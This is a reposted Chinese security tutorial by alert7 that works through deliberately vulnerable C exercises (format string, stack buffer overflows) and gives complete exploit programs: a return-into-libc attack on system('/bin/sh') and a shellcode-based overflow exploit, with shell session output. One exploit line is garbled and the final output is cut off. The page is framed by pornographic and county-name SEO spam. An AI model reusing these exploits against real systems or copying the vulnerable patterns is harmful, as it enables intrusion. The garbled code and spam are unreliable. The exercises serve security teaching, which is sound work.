国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

非安全編程演示之高級篇

2019-11-17 05:36:51
字體:
來源:轉載
供稿:網友
 作者:alert7 < alert7@netguard.com.cn >


★★ 三 高級篇

測試環境 redhat 6.2 glibc 2.1.3


★ 3.1 演示一

/* e1.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfPRintf, Batman! */

int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
請參考拙作<<利用格式化串覆蓋*printf()系列函數本身的返回地址>>


★ 3.2 演示二

/* e2.c *
/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
*
char buf[100];

while (1) {
scanf("%100s",buf);
system(buf);
}

* But, you cannot execute code in stack.
*/

int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
唯一需要滿足的條件是stack是不能運行的。

[alert7@redhat62 alert7]$ ./e2 `perl -e 'print "a"x264'`
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `./e2 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x61616161 in ?? ()

/* eXP_e2.c
* alert7 exploit for e2
*/
#include <stdio.h>

#define RET_POS99vION 260
#define NOP 0x90
#define BUFADDR 0xbffff968
#define SYSTEM 0x4005aae0
char shell[]="/bin/sh"; /* .string /"/bin/sh/" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=SYSTEM;
if(argc>1)
retaddr=SYSTEM+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<300;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POS99vION-4]))=BUFADDR+4*3+strlen(shell);
*((long *)&(buff[RET_POS99vION]))=retaddr;
*((long *)&(buff[RET_POS99vION+4]))=0xaabbccdd;//當system返回時候的eip
*((long *)&(buff[RET_POS99vION+8]))=BUFADDR+RET_POS99vION+4*3;
ptr=buff+RET_POS99vION+12;
strcpy(ptr,shell);
printf("Jump to 0x%08x/n",retaddr);


execl("./e2","e2",buff,0);
}
[alert7@redhat]$ gcc -o exp_e2 exp_e2.c
[alert7@redhat]$ ./exp_e2
Jump to 0x4005aae0
bash$ id
uid=501(alert7) gid=501(alert7) groups=501(alert7)
bash$ exit
exit
Segmentation fault (core dumped)

內存增長方向
------>
xxxxxx EBP EIP EIP1 參數指針 /bin/sh
260個bytes

-->main執行ret后的esp,ebp值為EBP
EIP1為system調用后的返回地址(當然,假如system返回的話)
參數指針指向/bin/sh
這里我們使EIP1為0xaabbccdd,所以/bin/sh一返回就在0xaabbccdd coredump了。
也就是說只要我們精心構造,就可以構造一個函數調用鏈。比如我們需要調用
setuid(0)->system("/bin/sh")->exit(0);

該exploit可以成功,很大程度上是因為SYSTEM的地址不包含0,也就是stack不
可執行補丁沒有使library庫mmap到內存低端。

更多的擊敗不可執行stack補丁可參考:
<<繞過Linux不可執行堆棧保護的方法淺析>> by waring3 <waring3@nsfocus.com>
和最近p58上的
<<The advanced return-into-lib(c) exploits>> by Nergal


★ 3.3 演示三

/* e3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat */

char buf[256];

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
setenv("ABO",argc[2],1);
while(1);
}
[alert7@redhat]$ uname -a
Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
[alert7@redhat]$ gcc -o e3 e3.c -static //靜態編譯的時候才會出現這樣的情況
[alert7@redhat]$ ./e3 `perl -e 'print "a"x267'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x616161 in ?? ()
(gdb) quit
[alert7@redhat]$ ./e3 `perl -e 'print "a"x268'` a
Segmentation fault (core dumped)
[alert7@redhat]$ gdb e3 core -q
Core was generated by `./e3 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
(gdb) BT
#0 0x61616161 in ?? ()
#1 0x804ac85 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3209
#2 0x804d18b in realloc_hook_ini (ptr=0x0, sz=88, caller=0x804857c)
at malloc.c:1770
#3 0x804abb3 in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3196

#4 0x804857c in __add_to_environ (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
combined=0x0, replace=1) at ../sysdeps/generic/setenv.c:145
#5 0x804882b in __setenv (name=0x80718e8 "ABO", value=0xbffffcc8 "a",
replace=1) at ../sysdeps/generic/setenv.c:263
#6 0x80481ce in main ()
#7 0x804831b in __libc_start_main (main=0x80481a0 <main>, argc=3,
argv=0xbffffb24, init=0x80480b4 <_init>, fini=0x80718ac <_fini>,
rtld_fini=0, stack_end=0xbffffb1c) at ../sysdeps/generic/libc-start.c:92

根據上面的條件,我們可以完全不必理會setenv()內部一系列到底發生了什么。只需要知道
在buf+264的地方放入一個值,該值就會變成EIP。

/* exp_e3.c
* alert7 exploit for static e3
*/
#include <stdio.h>

#define RET_POS99vION 264
#define NOP 0x90
#define BUFADDR 0x807bf60//0xaabbccdd
char shellcode[]=
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=BUFADDR;
if(argc>1)
retaddr=BUFADDR+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<1024;i+=4)
*((long *)&(buff[i]))=retaddr;

for(i=0;i<100;i++)
buff[i]=NOP;

ptr=buff+50;
for(i=0;i*(ptr++)=shellcode[i];
//現在buff的內容為
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0
printf("Jump to 0x%08x/n",retaddr);

execl("./e3","e3",buff,0);
}
[alert7@redhat62 alert7]$ gcc -o exp_e3 exp_e3.c
[alert7@redhat62 alert7]$ ./exp_e3
Jump to 0x0807b

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 盱眙县| 喀什市| 德阳市| 宜昌市| 泾源县| 东源县| 图们市| 楚雄市| 社会| 德清县| 鄢陵县| 蓬安县| 阳春市| 长治县| 淮滨县| 太谷县| 彰化市| 定安县| 永寿县| 读书| 东丰县| 徐汇区| 大悟县| 新竹市| 汝南县| 建始县| 扶绥县| 义马市| 通化市| 定边县| 隆德县| 株洲市| 方正县| 洛南县| 利川市| 达孜县| 陇南市| 丰原市| 辽源市| 镇赉县| 屯留县|